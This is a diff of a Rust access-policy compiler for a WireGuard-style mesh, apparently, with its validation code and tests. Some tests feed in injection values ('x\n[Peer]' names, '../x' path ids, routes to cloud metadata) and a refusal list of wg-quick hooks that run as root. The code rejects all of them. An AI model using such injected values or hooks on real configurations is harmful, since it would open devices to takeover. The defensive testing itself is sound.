"`{}` is not a device name: 1-64 of a-z 0-9 -",
clip(&d.name)
),
);
} else if !names.insert(d.name.clone()) {
e(
f("name"),
r::DEVICES_NAME,
format!("the name `{}` is used twice", d.name),
);
}
let owner = match &d.owner {
None => None,
Some(o) => match PersonId::new(o).filter(|_| is_opaque_id(o)) {
Some(p) if directory.is_none_or(|dir| dir.people.contains_key(&p)) => Some(p),
Some(p) => {
dangling.push(Problem::error(
path,
Some(&f("owner")),
r::DEVICES_OWNER_UNKNOWN,
format!(
"`{p}` is not a person in the directory; the device is ownerless until it gets an owner, and only `device:` roads reach it"
),
));
None
}
None => {
e(
f("owner"),
r::DEVICES_OWNER,
format!("`{}` is not a person id: 1-64 of A-Z a-z 0-9 _ -", clip(o)),
);
None
}
},
};
let address = match mesh_address(&d.address) {
Some(a) => {
if !addresses.insert(a.0) {
e(
f("address"),
r::DEVICES_ADDRESS,
format!("{a} is used twice"),
);
}
Some(a)
}
None => {
e(f("address"), r::DEVICES_ADDRESS, not_mesh(&d.address));
None
}
};
let mut routes = Vec::new();
for (j, rt) in d.routes.iter().enumerate() {
match Net::parse_canonical(rt) {
Ok(n)
if n.prefix_len() > 0
&& !n.is_special()
&& !n.embeds_ipv4()
&& !n.reaches_internet() =>
{
routes.push(n)
}
Ok(n) if n.prefix_len() > 0 => e(
format!("devices[{i}].routes[{j}]"),
r::DEVICES_ROUTE,
format!(
"{n} is not a private subnet (loopback, link-local, multicast, embedded IPv4 or internet); the internet is reached through an exit"
),
),
Ok(_) => e(
format!("devices[{i}].routes[{j}]"),
r::DEVICES_ROUTE,
"a route of /0 is an exit; set `exit: true` instead".into(),
),
Err(_) => e(
format!("devices[{i}].routes[{j}]"),
r::DEVICES_ROUTE,
format!("`{}` is not a canonical subnet", clip(rt)),
),
}
}
routes.sort();
routes.dedup();
let mut services = Vec::new();
for (j, s) in d.services.iter().enumerate() {
let Some(host) = Hostname::new(&s.host).filter(|_| is_hostname(&s.host)) else {
e(
format!("devices[{i}].services[{j}].host"),
r::DEVICES_SERVICE,
format!("`{}` is not a hostname", clip(&s.host)),
);
continue;
};
if !hosts.insert(host.clone()) {
e(
format!("devices[{i}].services[{j}].host"),
r::DEVICES_SERVICE,
format!("{host} is served by two devices"),
);
}
let mut ports = Vec::new();
for p in &s.ports {
match PortSpec::parse(p) {
Ok(p) => ports.push(p),
Err(m) => e(
format!("devices[{i}].services[{j}].ports"),
r::DEVICES_PORTS,
m,
),
}
}
if s.ports.is_empty() {
e(
format!("devices[{i}].services[{j}].ports"),
r::DEVICES_PORTS,
"a service lists the ports it serves".into(),
);
}
let field = format!("devices[{i}].services[{j}].address");
let address = match s.address.as_deref().map(mesh_address) {
None => None,
Some(Some(a)) => {
if !addresses.insert(a.0) {
e(field, r::DEVICES_ADDRESS, format!("{a} is used twice"));
}
Some(a)
}
Some(None) => {
e(
field,
r::DEVICES_ADDRESS,
not_mesh(s.address.as_deref().unwrap_or_default()),
);
None
}
};
services.push(Service {
host,
ports,
address,
});
}
services.sort_by(|a, b| a.host.cmp(&b.host));
let Some(address) = address else { continue };
let dev = Device {
key: key.clone(),
name: d.name.clone(),
owner,
address,
classic: d.classic,
exit: d.exit,
relay: d.relay,
routes,
services,
};
if out.devices.insert(key.clone(), dev).is_some() {
e(
f("key"),
r::DEVICES_DUPLICATE,
format!("the key {} is listed twice", key.short()),
);
}
}
// Routes may not overlap between devices, and no device address may sit inside a route.
let all: Vec<(&Device, &Net)> = out
.devices
.values()
.flat_map(|d| d.routes.iter().map(move |n| (d, n)))
.collect();
for (a, (da, na)) in all.iter().enumerate() {
for (db, nb) in all.iter().skip(a + 1) {
if da.key != db.key && na.overlaps(nb) {
e(
format!("devices.{}.routes", db.name),
r::DEVICES_OVERLAP,
format!("{nb} on {} overlaps {na} on {}", db.name, da.name),
);
}
}
for (d, a) in out.mesh_addresses() {
if na.contains_addr(&a.0) {
e(
format!("devices.{}.address", d.name),
r::DEVICES_ADDRESS,
format!("{a} of {} is inside the route {na} of {}", d.name, da.name),
);
}
}
}
if problems.is_empty() {
Ok((out, dangling))
} else {
Err(problems)
}
}
}
+196
View File
@@ -0,0 +1,196 @@
//! The store: `directory.json`, `devices.json` and `roads/` (docs/FORMATS.md, "The store").
use crate::id::RoadId;
use crate::problem::Problem;
use crate::road::Road;
use crate::rules as r;
use crate::snapshot::{DEVICES_FILE, DIRECTORY_FILE, Devices, Directory};
use std::collections::BTreeMap;
use std::path::Path;
pub const ROADS_DIR: &str = "roads";
pub const MAX_ROADS: usize = 10_000;
/// Everything the compiler reads, already parsed. Roads with errors are not in `roads`; their problems are.
#[derive(Debug, Clone, Default)]
pub struct Store {
pub roads: Vec<Road>,
pub directory: Option<Directory>,
pub devices: Option<Devices>,
pub problems: Vec<Problem>,
}
impl Store {
/// Builds a store from bytes: `(file name inside roads/, contents)`, and the two snapshots (`None`: missing).
pub fn from_parts(
road_files: &[(String, Vec<u8>)],
directory: Option<&[u8]>,
devices: Option<&[u8]>,
) -> Store {
let mut store = Store::default();
match directory {
None => store.problems.push(Problem::error(
DIRECTORY_FILE,
None,
r::SNAPSHOT_JSON,
"missing",
)),
Some(b) => match Directory::parse(b) {
Ok((d, dangling)) => {
store.directory = Some(d);
store.problems.extend(dangling);
}
Err(p) => store.problems.extend(p),
},
}
match devices {
None => store.problems.push(Problem::error(
DEVICES_FILE,
None,
r::SNAPSHOT_JSON,
"missing",
)),
Some(b) => match Devices::parse(b, store.directory.as_ref()) {
Ok((d, dangling)) => {
store.devices = Some(d);
store.problems.extend(dangling);
}
Err(p) => store.problems.extend(p),
},
}
let mut files: Vec<&(String, Vec<u8>)> = road_files.iter().collect();
files.sort_by(|a, b| a.0.cmp(&b.0));
if files.len() > MAX_ROADS {
store.problems.push(Problem::error(
ROADS_DIR,
None,
r::FILE_COUNT,
format!("more than {MAX_ROADS} road files"),
));
return store;
}
let mut by_id: BTreeMap<RoadId, Vec<Road>> = BTreeMap::new();
for (name, bytes) in files {
let path = format!("{ROADS_DIR}/{name}");
match Road::parse(&path, bytes) {
Ok(road) => by_id.entry(road.id.clone()).or_default().push(road),
Err(p) => store.problems.extend(p),
}
}
for (id, roads) in by_id {
if roads.len() == 1 {
store.roads.extend(roads);
continue;
}
let paths: Vec<&str> = roads.iter().map(|r| r.path.as_str()).collect();
for road in &roads {
store.problems.push(
Problem::error(
&road.path,
Some("id"),
r::ID_DUPLICATE,
format!(
"id {id} is used by {}; none of them grants anything",
paths.join(" and ")
),
)
.at(road.line_of("id")),
);
}
}
store
}
/// Reads a store folder. Only the three names are read; anything that is not a regular `.md` file inside
/// `roads/` is a problem and is not read.
pub fn load_dir(root: &Path) -> std::io::Result<Store> {
let directory = read_optional(&root.join(DIRECTORY_FILE))?;
let devices = read_optional(&root.join(DEVICES_FILE))?;
let mut files = Vec::new();
let mut problems = Vec::new();
let roads = root.join(ROADS_DIR);
// A missing roads/ folder means no road grants anything, kill switches included: say so (QA F-07). The
// folder itself is never followed through a symbolic link, like the entries inside it.
let readable = match std::fs::symlink_metadata(&roads) {
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
problems.push(Problem::error(
ROADS_DIR,
None,
r::STORE_ROADS,
"missing: there is no roads/ folder, so no road grants anything and no kill switch is on",
));
false
}
Err(e) => return Err(e),
Ok(m) if !m.file_type().is_dir() => {
let what = if m.file_type().is_symlink() {
"a symbolic link"
} else {
"not a folder"
};
problems.push(Problem::error(
ROADS_DIR,
None,
r::STORE_ROADS,
format!("{what}; roads/ must be a real folder, so no road was read"),
));
false
}
Ok(_) => true,
};
if readable {
for entry in std::fs::read_dir(&roads)? {
let entry = entry?;
let name = entry.file_name().to_string_lossy().into_owned();
let ty = entry.file_type()?;
let path = format!("{ROADS_DIR}/{name}");
if !ty.is_file() {
let what = if ty.is_symlink() {
"a symbolic link"
} else {
"not a regular file"
};
problems.push(Problem::error(
&path,
None,
r::FILE_KIND,
format!("{what}; roads/ holds only road files"),
));
continue;
}
if !name.ends_with(".md") {
problems.push(Problem::error(
&path,
None,
r::FILE_KIND,
"not a road file (.md); roads/ holds only road files",
));
continue;
}
if entry.metadata()?.len() > crate::road::MAX_FILE as u64 {
problems.push(Problem::error(
&path,
None,
r::FILE_SIZE,
format!("larger than {} KiB", crate::road::MAX_FILE / 1024),
));
continue;
}
files.push((name, std::fs::read(entry.path())?));
}
}
let mut store = Store::from_parts(&files, directory.as_deref(), devices.as_deref());
store.problems.extend(problems);
store.problems.sort();
Ok(store)
}
}
fn read_optional(path: &Path) -> std::io::Result<Option<Vec<u8>>> {
match std::fs::read(path) {
Ok(b) => Ok(Some(b)),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
Err(e) => Err(e),
}
}
+266
View File
@@ -0,0 +1,266 @@
//! QA's adversarial cases (`Via/qa/02_roads_attacks.md`) that the six mandatory tests do not already cover.
//! Each test names the case it answers.
mod common;
use common::{Parts, at, fw_accepts, key};
use roads::{Road, RoadId, compile, rules};
fn road(id: &str, lines: &[&str]) -> String {
format!(
"---\nid: {id}\n{}\ncreated: 2026-11-25T10:00:00Z\n---\n",
lines.join("\n")
)
}
#[test]
fn r12_roads_are_one_directional() {
let c = Parts::home().compile();
assert!(fw_accepts(
&c,
&key(3),
"100.96.0.2".parse().unwrap(),
Some(("tcp", 443))
));
// The home server gets no rule into jana-phone, and jana-phone's firewall is empty.
assert!(!fw_accepts(
&c,
&key(2),
"100.96.0.3".parse().unwrap(),
Some(("tcp", 443))
));
assert!(c.plans[&key(3)].firewall.rules.is_empty());
}
#[test]
fn r10_receiving_side_peers_hold_only_their_own_address() {
// A peer that is only a client of this device holds exactly its /32 here; a firewall source always sits on
// its own peer, so another peer (an exit's 0.0.0.0/0 included) can never send from it.
let c = Parts::home().compile();
for plan in c.plans.values() {
for rule in &plan.firewall.rules {
let own = plan
.peers
.iter()
.find(|p| roads::net::Net::host(p.address.0) == rule.src);
assert!(
own.is_some_and(|p| p.allowed_ips.contains(&rule.src)),
"{}: {rule:?}",
plan.name
);
}
}
let server = &c.plans[&key(2)];
for p in &server.peers {
assert_eq!(
p.allowed_ips,
[roads::net::Net::host(p.address.0)],
"{} may source more than itself",
p.name
);
}
}
#[test]
fn r05_r07_r08_the_internet_and_special_ranges_are_not_subnets() {
let base = Parts::home();
for (route, why) in [
("0.0.0.0/1", "half the internet"),
("128.0.0.0/1", "the other half"),
("8.8.8.0/24", "a public subnet"),
("127.0.0.0/8", "loopback"),
("169.254.169.254/32", "cloud metadata"),
("224.0.0.0/4", "multicast"),
("::ffff:192.168.100.0/120", "IPv4-mapped IPv6"),
("64:ff9b::/96", "NAT64"),
("2002::/16", "6to4"),
] {
let parts = Parts::home().edit_devices(|d| {
d.replace(
r#""routes": ["192.168.100.0/24"]"#,
&format!(r#""routes": ["{route}"]"#),
)
});
let c = parts.compile();
assert!(
c.problems.iter().any(|p| p.code == rules::DEVICES_ROUTE),
"{route} ({why}) accepted as a route"
);
assert!(c.plans.is_empty());
}
let _ = base;
}
#[test]
fn r25_until_extremes_never_panic() {
for until in [
"0000-01-01T00:00:00Z",
"9999-12-31T23:59:59Z",
"+10000-01-01T00:00:00Z",
"2026-12-31T23:59:60Z",
"2026-11-29T23:59:59+24:00",
"2026-11-29T23:59:59-23:59",
"2026-11-29T23:59:59+99:99",
"2026-03-29T02:30:00 Europe/Prague",
&format!("2026-11-29T23:59:59.{}Z", "9".repeat(10_000)),
] {
let text = road(
"f00001",
&[
"subject: person:jana",
"verb: can-reach",
"object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
&format!("until: {until}"),
],
);
let parts = Parts::home().with_road("f00001-x.md", &text);
let store = parts.store();
for now in [
"1970-01-01T00:00:00Z",
"2026-11-25T12:00:00Z",
"9999-12-30T00:00:00Z",
] {
let _ = compile(&store, at(now));
}
}
}
#[test]
fn r31_r33_ids_are_lowercase_and_never_paths() {
for s in [
"../x", "a/b", "a\\b", ".", "..", "C:x", "", "k3f9q\0", "K3F9Q2", "k3f9q2x", "k3f9qi",
] {
assert!(RoadId::new(s).is_none(), "{s:?}");
}
let text = road(
"k3f9q2",
&[
"subject: person:jana",
"verb: can-reach",
"object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
],
);
let err = Road::parse("roads/K3F9Q2-upper.md", text.as_bytes()).unwrap_err();
assert!(err.iter().any(|p| p.code == rules::FILE_NAME));
}
#[test]
fn r36_verb_spellings_are_refused() {
for v in ["Can-Reach", "can_reach", "canReach", "CAN-REACH", "reach"] {
let text = road(
"f00002",
&[
"subject: person:jana",
&format!("verb: {v}"),
"object: device:AgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI",
],
);
let err = Road::parse("roads/f00002-x.md", text.as_bytes()).unwrap_err();
assert!(err.iter().any(|p| p.code == rules::VERB_UNKNOWN), "{v}");
}
}
#[test]
fn r42_names_cannot_carry_lines_or_hidden_characters() {
for evil in [
"x\n[Peer]",
"x\r[Peer]",
"x\u{2028}[Peer]",
"x\u{85}[Peer]",
"Jana\u{202e}",
"Ja\u{200b}na",
" Jana",
] {
let json = format!(
r#"{{"format":1,"people":[{{"id":"jana","name":{}}}]}}"#,
serde_json::to_string(evil).unwrap()
);
let err = roads::Directory::parse(json.as_bytes()).unwrap_err();
assert!(
err.iter().any(|p| p.code == rules::DIRECTORY_NAME),
"{evil:?}"
);
}
// Device names are only a-z 0-9 -.
let parts = Parts::home()
.edit_devices(|d| d.replace(r#""name": "router""#, r#""name": "router\n[Peer]""#));
assert!(
parts
.compile()
.problems
.iter()
.any(|p| p.code == rules::DEVICES_NAME)
);
}
#[test]
fn r56_a_large_store_compiles_in_bounded_time() {
// 2,000 devices, 400 people, 10,000 roads (the store limit). Recorded in the PR; the bound is generous for debug builds.
let people = 400;
let mut directory = String::from(r#"{"format":1,"people":["#);
directory += &(0..people)
.map(|p| format!(r#"{{"id":"p{p}","name":"P{p}"}}"#))
.collect::<Vec<_>>()
.join(",");
directory += r#"],"groups":[{"id":"all","name":"All","members":["#;
directory += &(0..people)
.map(|p| format!("\"p{p}\""))
.collect::<Vec<_>>()
.join(",");
directory += "]}]}";
let devs = 2_000usize;
let mut devices = String::from(r#"{"format":1,"devices":["#);
devices += &(0..devs)
.map(|i| {
let mut b = [0u8; 32];
b[..8].copy_from_slice(&(i as u64 + 1).to_be_bytes());
let k = roads::DeviceKey::from_bytes(&b);
let svc = if i % 10 == 0 {
format!(r#","services":[{{"host":"s{i}.test","ports":["tcp/443"]}}]"#)
} else {
String::new()
};
format!(
r#"{{"key":"{k}","name":"d{i}","owner":"p{}","address":"100.{}.{}.{}"{svc}}}"#,
i % people,
64 + i / 65536,
(i / 256) % 256,
i % 256
)
})
.collect::<Vec<_>>()
.join(",");
devices += "]}";
let roads: Vec<(String, Vec<u8>)> = (0..10_000usize)
.map(|i| {
let id = format!("{i:06}");
let subject = if i % 100 == 0 {
"group:all".to_string()
} else {
format!("person:p{}", i % people)
};
let text = road(
&id,
&[
&format!("subject: {subject}"),
"verb: can-reach",
&format!("object: service:s{}.test", (i % (devs / 10)) * 10),
],
);
(format!("{id}-r.md"), text.into_bytes())
})
.collect();
let t = std::time::Instant::now();
let store =
roads::Store::from_parts(&roads, Some(directory.as_bytes()), Some(devices.as_bytes()));
let c = compile(&store, common::now());
let took = t.elapsed();
let rules: usize = c.plans.values().map(|p| p.firewall.rules.len()).sum();
eprintln!(
"r56: {} roads, {devs} devices, {} grants, {rules} firewall rules in {took:?}",
store.roads.len(),
c.grants.len()
);
assert_eq!(c.errors().count(), 0, "{:?}", c.problems.first());
assert!(took < std::time::Duration::from_secs(60), "took {took:?}");
}
+151
View File
@@ -0,0 +1,151 @@
//! Shared test helpers: the `home` fixture store and in-memory stores. No real network, no real keys: device
//! keys are 32 repeated bytes.
#![allow(dead_code)]
use jiff::Timestamp as Instant;
use roads::{Compiled, DeviceKey, Store, compile};
use std::path::PathBuf;
pub const NOW: &str = "2026-11-25T12:00:00+01:00";
pub fn now() -> Instant {
at(NOW)
}
pub fn at(s: &str) -> Instant {
s.parse().unwrap()
}
/// The fixture device key `n`: 32 bytes of `n`.
pub fn key(n: u8) -> DeviceKey {
DeviceKey::from_bytes(&[n; 32])
}
pub fn fixtures() -> PathBuf {
PathBuf::from(env!("CARGO_MANIFEST_DIR"))
.join("tests")
.join("fixtures")
}
pub fn home_dir() -> PathBuf {
fixtures().join("home")
}
/// The home store as bytes: road files (name, contents), directory.json, devices.json.
pub struct Parts {
pub roads: Vec<(String, Vec<u8>)>,
pub directory: Vec<u8>,
pub devices: Vec<u8>,
}
impl Parts {
pub fn home() -> Parts {
let dir = home_dir();
let mut roads = Vec::new();
for e in std::fs::read_dir(dir.join("roads")).unwrap() {
let e = e.unwrap();
roads.push((
e.file_name().to_string_lossy().into_owned(),
std::fs::read(e.path()).unwrap(),
));
}
roads.sort();
Parts {
roads,
directory: std::fs::read(dir.join("directory.json")).unwrap(),
devices: std::fs::read(dir.join("devices.json")).unwrap(),
}
}
pub fn store(&self) -> Store {
Store::from_parts(&self.roads, Some(&self.directory), Some(&self.devices))
}
pub fn compile(&self) -> Compiled {
compile(&self.store(), now())
}
pub fn with_road(mut self, name: &str, text: &str) -> Parts {
self.roads
.push((name.to_string(), text.as_bytes().to_vec()));
self
}
pub fn without_road(mut self, prefix: &str) -> Parts {
let before = self.roads.len();
self.roads.retain(|(n, _)| !n.starts_with(prefix));
assert_eq!(
self.roads.len() + 1,
before,
"no road file starts with {prefix}"
);
self
}
pub fn road_text(&self, prefix: &str) -> String {
let (_, b) = self
.roads
.iter()
.find(|(n, _)| n.starts_with(prefix))
.expect("a road");
String::from_utf8(b.clone()).unwrap()
}
pub fn replace_road(mut self, prefix: &str, text: &str) -> Parts {
let slot = self
.roads
.iter_mut()
.find(|(n, _)| n.starts_with(prefix))
.expect("a road");
slot.1 = text.as_bytes().to_vec();
self
}
pub fn edit_devices(mut self, f: impl FnOnce(&str) -> String) -> Parts {
self.devices = f(std::str::from_utf8(&self.devices).unwrap()).into_bytes();
self
}
pub fn edit_directory(mut self, f: impl FnOnce(&str) -> String) -> Parts {
self.directory = f(std::str::from_utf8(&self.directory).unwrap()).into_bytes();
self
}
}
/// Every plan as JSON, in device order: the bytes the determinism tests compare.
pub fn plans_bytes(c: &Compiled) -> Vec<u8> {
let mut out = Vec::new();
for p in c.plans.values() {
out.extend_from_slice(p.to_json().as_bytes());
}
out
}
/// Whether `from` may open a connection to `dst` on the receiving side, according to the plans: the
/// firewall of the device that owns or routes `dst` has a rule from `from`'s address.
pub fn fw_accepts(
c: &Compiled,
from: &DeviceKey,
dst: std::net::IpAddr,
proto_port: Option<(&str, u16)>,
) -> bool {
let src = c.plans[from].address;
c.plans.values().any(|p| {
p.firewall.rules.iter().any(|r| {
let dst_ok = match r.dst {
roads::plan::Dst::Net(n) => n.contains_addr(&dst),
roads::plan::Dst::Internet => roads::net::Net::host(dst).reaches_internet(),
};
let port_ok = match (r.proto, r.ports, proto_port) {
(roads::ports::Proto::Any, _, _) => true,
(_, _, None) => false,
(proto, ports, Some((want, port))) => {
format!("{proto:?}").eq_ignore_ascii_case(want)
&& ports.is_none_or(|[lo, hi]| lo <= port && port <= hi)
}
};
r.src.contains_addr(&src.0) && dst_ok && port_ok
})
})
}
+132
View File
@@ -0,0 +1,132 @@
//! Mandatory test 6: custom roads round-trip unchanged — file → road → canonical file, and road → plan —
//! with awkward raw content; and a custom raw block changes no other device's plan (QA R-40, R-43).
mod common;
use common::{Parts, key, plans_bytes};
use roads::{Body, Road};
const KEY5: &str = "BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU";
fn custom_file(id: &str, raw: &str) -> String {
format!(
"---\nid: {id}\nsubject: device:{KEY5}\nverb: custom\nclassic: true\ncreated: 2026-11-25T10:00:00+01:00\n---\n```raw\n{raw}```\n"
)
}
/// Raw blocks that must come back byte for byte.
fn awkward() -> Vec<&'static str> {
vec![
"",
"[Interface]\nMTU = 1380 \n",
"[Peer]\r\nPublicKey = AAAA\r\nAllowedIPs = 10.9.0.0/24\r\n",
"\tJc = 4\n; a semicolon comment\n# a hash comment\nH1 = 1\nH1 = 2\n",
"```\nnot the end\n```\nstill raw\n",
"unicode: Přidat řazení ✓\n\n\n",
"trailing spaces \n \n",
"---\nid: zzzzzz\n---\n",
]
}
#[test]
fn the_fixture_custom_road_renders_back_to_its_own_bytes() {
let parts = Parts::home();
let text = parts.road_text("x1d7qa");
let road = Road::parse("roads/x1d7qa-router-imported.md", text.as_bytes()).unwrap();
assert_eq!(road.render(), text);
}
#[test]
fn awkward_raw_blocks_round_trip_byte_for_byte() {
for (i, raw) in awkward().into_iter().enumerate() {
let id = format!("e0000{i}");
let text = custom_file(&id, raw);
let road = Road::parse(&format!("roads/{id}-x.md"), text.as_bytes())
.unwrap_or_else(|p| panic!("{raw:?}: {p:?}"));
assert_eq!(road.body, Body::Raw(raw.to_string()), "{raw:?}");
let again = road.render();
assert_eq!(again, text, "{raw:?} did not render back");
assert_eq!(
Road::parse(&format!("roads/{id}-x.md"), again.as_bytes()).unwrap(),
road
);
// Through the compiler: the plan carries the raw block unchanged, labelled classic.
let c = Parts::home()
.with_road(&format!("{id}-x.md"), &text)
.compile();
let plan = &c.plans[&key(5)];
let mine = plan
.custom
.iter()
.find(|x| x.road.as_str() == id)
.expect("the custom block");
assert_eq!(mine.raw, raw);
assert!(mine.classic);
}
}
#[test]
fn a_crlf_file_keeps_its_raw_bytes() {
let text = "---\r\nid: e00100\r\nsubject: device:BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQU\r\nverb: custom\r\ncreated: 2026-11-25T10:00:00+01:00\r\n---\r\n```raw\r\n[Peer]\r\nX = 1\r\n```\r\n";
let road = Road::parse("roads/e00100-crlf.md", text.as_bytes()).unwrap();
assert_eq!(road.body, Body::Raw("[Peer]\r\nX = 1\r\n".into()));
}
#[test]
fn every_canonical_road_in_the_home_store_renders_back_to_its_bytes() {
for (name, bytes) in Parts::home().roads {
let road = Road::parse(&format!("roads/{name}"), &bytes).unwrap();
assert_eq!(road.render().as_bytes(), &bytes[..], "{name}");
}
}
#[test]
fn a_raw_block_with_a_peer_changes_no_other_plan() {
// QA R-40: an expert paste of a whole-network peer stays inside its own device's `custom` list.
let base = Parts::home().compile();
let raw = "[Peer]\nPublicKey = AAAA\nAllowedIPs = 0.0.0.0/0, ::/0\n";
let c = Parts::home()
.with_road("e00200-paste.md", &custom_file("e00200", raw))
.compile();
for (k, p) in &base.plans {
if *k == key(5) {
assert_eq!(c.plans[k].peers, p.peers, "the router's own peers changed");
assert_eq!(c.plans[k].firewall, p.firewall);
continue;
}
assert_eq!(c.plans[k].to_json(), p.to_json(), "{} changed", p.name);
}
assert_ne!(
plans_bytes(&c),
plans_bytes(&base),
"the block is carried in the router's plan"
);
}
#[test]
fn hooks_in_a_raw_block_are_refused_in_any_spelling() {
// QA R-41: wg-quick runs these with bash as root.
for line in [
"PostUp = x",
"postup=x",
" PreUp = x",
"PreDown = x",
"PostDown = x",
"SaveConfig = true",
"Table = off",
"FwMark = 51820",
" POSTUP =x",
] {
let text = custom_file("e00300", &format!("[Interface]\n{line}\n"));
let err = Road::parse("roads/e00300-hook.md", text.as_bytes()).unwrap_err();
assert!(
err.iter()
.any(|p| p.code == roads::rules::BODY_RAW_HOOK && p.line == Some(10)),
"{line}: {err:?}"
);
}
// A key that merely contains a hook's name is fine.
let text = custom_file("e00301", "PostUpgradeNote = no\n");
assert!(Road::parse("roads/e00301-ok.md", text.as_bytes()).is_ok());
}
+111
View File
@@ -0,0 +1,111 @@
//! Mandatory test 4: the same input compiles byte-identically — twice, with every input list shuffled, with
//! CRLF road files, and against committed golden plans (`tests/fixtures/home/expected/`, regenerated with
//! `VIA_BLESS=1` only on purpose).
mod common;
use common::{Parts, home_dir, plans_bytes};
#[test]
fn the_same_input_gives_the_same_bytes_twice() {
let a = plans_bytes(&Parts::home().compile());
let b = plans_bytes(&Parts::home().compile());
assert!(!a.is_empty());
assert_eq!(a, b);
}
fn reversed_json_lists(text: &str, open: &str) -> String {
// Reverses the one-line items of the JSON list that starts at `open` (the fixtures keep one item per
// line, multi-line items are joined first).
let start = text.find(open).unwrap() + open.len();
let end = start + text[start..].find("\n ]").unwrap();
let body = &text[start..end];
let mut items: Vec<String> = Vec::new();
let mut cur = String::new();
let mut depth = 0i32;
for ch in body.chars() {
match ch {
'{' | '[' => depth += 1,
'}' | ']' => depth -= 1,
_ => {}
}
if ch == ',' && depth == 0 {
items.push(cur.trim().to_string());
cur.clear();
} else {
cur.push(ch);
}
}
items.push(cur.trim().to_string());
items.reverse();
format!(
"{}\n {}{}",
&text[..start],
items.join(",\n "),
&text[end..]
)
}
#[test]
fn shuffled_inputs_give_the_same_bytes() {
// QA R-53: file order, people, devices and group members reversed.
let base = plans_bytes(&Parts::home().compile());
let mut parts = Parts::home();
parts.roads.reverse();
let parts = parts
.edit_devices(|d| reversed_json_lists(d, "\"devices\": ["))
.edit_directory(|d| {
reversed_json_lists(d, "\"people\": [")
.replace(r#"["mark", "jana"]"#, r#"["jana", "mark"]"#)
});
assert_ne!(
parts.devices,
Parts::home().devices,
"the device list really was reordered"
);
assert_eq!(plans_bytes(&parts.compile()), base);
}
#[test]
fn crlf_road_files_compile_like_lf_ones() {
// QA R-39. The custom road's raw block is kept byte for byte, CR included, so it stays LF here.
let base = plans_bytes(&Parts::home().compile());
let mut parts = Parts::home();
for (name, bytes) in parts.roads.iter_mut() {
if !name.starts_with("x1d7qa") {
*bytes = String::from_utf8(bytes.clone())
.unwrap()
.replace('\n', "\r\n")
.into_bytes();
}
}
let c = parts.compile();
assert_eq!(c.errors().count(), 0, "{:?}", c.problems);
assert_eq!(plans_bytes(&c), base);
}
#[test]
fn plans_match_the_committed_golden_files() {
// QA R-54: no paths, no clock, no locale in the output; the same bytes on every platform.
let c = Parts::home().compile();
let dir = home_dir().join("expected");
let bless = std::env::var_os("VIA_BLESS").is_some();
if bless {
std::fs::create_dir_all(&dir).unwrap();
}
for p in c.plans.values() {
let path = dir.join(format!("{}.json", p.name));
if bless {
std::fs::write(&path, p.to_json()).unwrap();
continue;
}
let want = std::fs::read_to_string(&path)
.unwrap_or_else(|_| panic!("missing golden {}", path.display()));
assert_eq!(p.to_json(), want, "{} differs from its golden file", p.name);
}
assert_eq!(
std::fs::read_dir(&dir).unwrap().count(),
c.plans.len(),
"a golden file without a device"
);
}
+148
View File
@@ -0,0 +1,148 @@
//! Mandatory test 5: `explain` returns exactly the roads that allow access, and nothing when access is denied
//! — expired, invalid and custom roads included in the store.
mod common;
use common::{Parts, key};
use roads::net::Net;
use roads::{Hostname, Place, explain};
fn ids(parts: &Parts, device: u8, place: &Place) -> Vec<String> {
let c = parts.compile();
let store = parts.store();
explain(&c, store.devices.as_ref().unwrap(), &key(device), place)
.iter()
.map(|r| r.to_string())
.collect()
}
fn service(h: &str) -> Place {
Place::Service(Hostname::new(h).unwrap())
}
fn subnet(s: &str) -> Place {
Place::Subnet(Net::parse_canonical(s).unwrap())
}
#[test]
fn allowed_lists_exactly_the_allowing_roads() {
let home = Parts::home();
assert_eq!(
ids(&home, 3, &service("photos.home.arpa")),
["7tq0mz", "k3f9q2"]
);
assert_eq!(
ids(&home, 3, &Place::Device(key(2))),
["k3f9q2"],
"photos has its own address (QA F-01): its road reaches that, not the device's own address"
);
assert_eq!(ids(&home, 1, &subnet("192.168.100.0/24")), ["h2x8vd"]);
assert_eq!(
ids(&home, 1, &subnet("192.168.100.10/32")),
["h2x8vd"],
"a part of a granted subnet"
);
assert_eq!(
ids(&home, 5, &Place::Device(key(2))),
["r8m2tg"],
"the custom road is not a grant"
);
}
#[test]
fn each_listed_road_is_enough_on_its_own() {
// The listed set is the compiler's own: keep only one listed road and access remains.
let home = Parts::home();
for keep in ["7tq0mz", "k3f9q2"] {
let mut only = Parts::home();
only.roads.retain(|(n, _)| n.starts_with(keep));
assert_eq!(ids(&only, 3, &service("photos.home.arpa")), [keep]);
}
let _ = home;
}
#[test]
fn denied_returns_nothing_even_with_expired_and_invalid_roads_about_the_place() {
let parts = Parts::home().with_road(
"d00001-jana-lan.md",
"---\nid: d00001\nsubject: person:jana\nverb: can-reach\nobject: subnet:192.168.100.0/24\nuntill: 2026-12-01T00:00:00Z\ncreated: 2026-11-25T10:00:00Z\n---\n",
);
assert!(parts.compile().errors().any(|p| p.path.contains("d00001")));
assert!(ids(&parts, 3, &subnet("192.168.100.0/24")).is_empty());
assert!(
ids(&parts, 7, &service("git.home.arpa")).is_empty(),
"the expired road is not listed"
);
assert!(ids(&parts, 7, &Place::Device(key(2))).is_empty());
assert!(
ids(&parts, 3, &subnet("10.0.0.0/8")).is_empty(),
"a place nobody routes"
);
assert!(
ids(&parts, 3, &service("nowhere.home.arpa")).is_empty(),
"a place that does not exist"
);
}
#[test]
fn exits_count_for_the_internet_but_not_for_private_ranges() {
let home = Parts::home();
assert_eq!(ids(&home, 7, &Place::Exit(key(6))), ["c0z5wn"]);
assert_eq!(ids(&home, 7, &subnet("8.8.8.0/24")), ["c0z5wn"]);
assert!(
ids(&home, 7, &subnet("192.168.1.0/24")).is_empty(),
"an exit is not a way into its LAN"
);
assert!(ids(&home, 7, &Place::Exit(key(2))).is_empty());
}
#[test]
fn going_direct_takes_a_subnet_out_of_the_exit_unless_the_kill_switch_wins() {
let direct = "---\nid: d00002\nsubject: device:AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQE\nverb: goes-direct\nobject: subnet:8.8.8.0/24\ncreated: 2026-11-25T10:00:00Z\n---\n";
